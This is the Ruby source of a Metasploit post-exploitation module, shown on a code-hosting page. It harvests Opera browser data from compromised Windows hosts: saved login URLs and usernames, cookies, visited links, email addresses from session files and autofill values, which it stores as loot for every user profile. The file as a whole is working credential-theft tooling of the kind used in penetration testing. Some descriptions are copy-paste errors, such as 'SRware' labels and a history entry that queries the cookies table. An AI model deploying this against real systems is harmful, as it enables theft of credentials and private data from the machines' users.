Path: blob/master/modules/post/windows/gather/credentials/opera.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67include Msf::Post::File8include Msf::Post::Windows::UserProfiles9include Msf::Post::Windows::Packrat10ARTIFACTS =11{12application: 'opera',13app_category: 'browsers',14gatherable_artifacts: [15{16filetypes: 'logins',17path: 'AppData',18dir: 'Opera Software',19artifact_file_name: 'Login Data',20description: "Opera's sent and received emails",21credential_type: 'sqlite',22sql_search: [23{24sql_description: "Database Commands which exports SRware's Login data",25sql_table: 'logins',26sql_column: 'action_url, username_value'27}28]29},30{31filetypes: 'cookies',32path: 'AppData',33dir: 'Opera Software',34artifact_file_name: 'Cookies',35description: "Opera's Cookies",36credential_type: 'sqlite',37sql_search: [38{39sql_description: "Database Commands which exports SRware's Login data",40sql_table: 'cookies',41sql_column: 'host_key, name, path'42}43]44},45{46filetypes: 'web_history',47path: 'AppData',48dir: 'Opera Software',49artifact_file_name: 'Visited Links',50description: "Opera's Visited Links",51credential_type: 'database',52sql_search: [53{54sql_description: 'Database Commands which exports ',55sql_table: 'cookies',56sql_column: 'host_key, name, path'57}58]59},60{61filetypes: 'Email',62path: 'AppData',63dir: 'Opera Software',64artifact_file_name: 'Session*',65description: 'Emails stored in session file',66credential_type: 'text',67regex_search: [68{69extraction_description: 'searches for Email TO/FROM address',70extraction_type: 'Email addresses',71regex: [72'(?i-mx:email=.*)',73]74}75]76},77{78filetypes: 'personal infomration',79path: 'AppData',80dir: 'Opera Software',81artifact_file_name: 'Web Data',82description: 'Auto filles sotred in the database',83credential_type: 'sqlite',84sql_search: [85{86sql_description: 'Database Commands which exports stored auto-fill data',87sql_table: 'autofill',88sql_column: 'name, value'89}90]91}92]93}.freeze9495def initialize(info = {})96super(97update_info(98info,99'Name' => 'Opera Credential Gatherer',100'Description' => %q{101This module searches for Opera credentials on a Windows host.102},103'License' => MSF_LICENSE,104'Author' => [105'Kazuyoshi Maruta',106'Daniel Hallsworth',107'Barwar Salim M',108'Z. Cliffe Schreuders', # http://z.cliffe.schreuders.org109],110'Platform' => ['win'],111'SessionTypes' => ['meterpreter'],112'Notes' => {113'Stability' => [CRASH_SAFE],114'Reliability' => [],115'SideEffects' => []116}117)118)119120register_options(121[122OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),123OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),124OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),125# enumerates the options based on the artifacts that are defined below126OptEnum.new('ARTIFACTS', [false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map { |k| k[:filetypes] }.uniq.unshift('All')])127]128)129end130131def run132print_status('Filtering based on these selections: ')133print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")134print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")135print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")136137# used to grab files for each user on the remote host138grab_user_profiles.each do |userprofile|139run_packrat(userprofile, ARTIFACTS)140end141142print_status 'PackRat credential sweep completed'143end144end145146147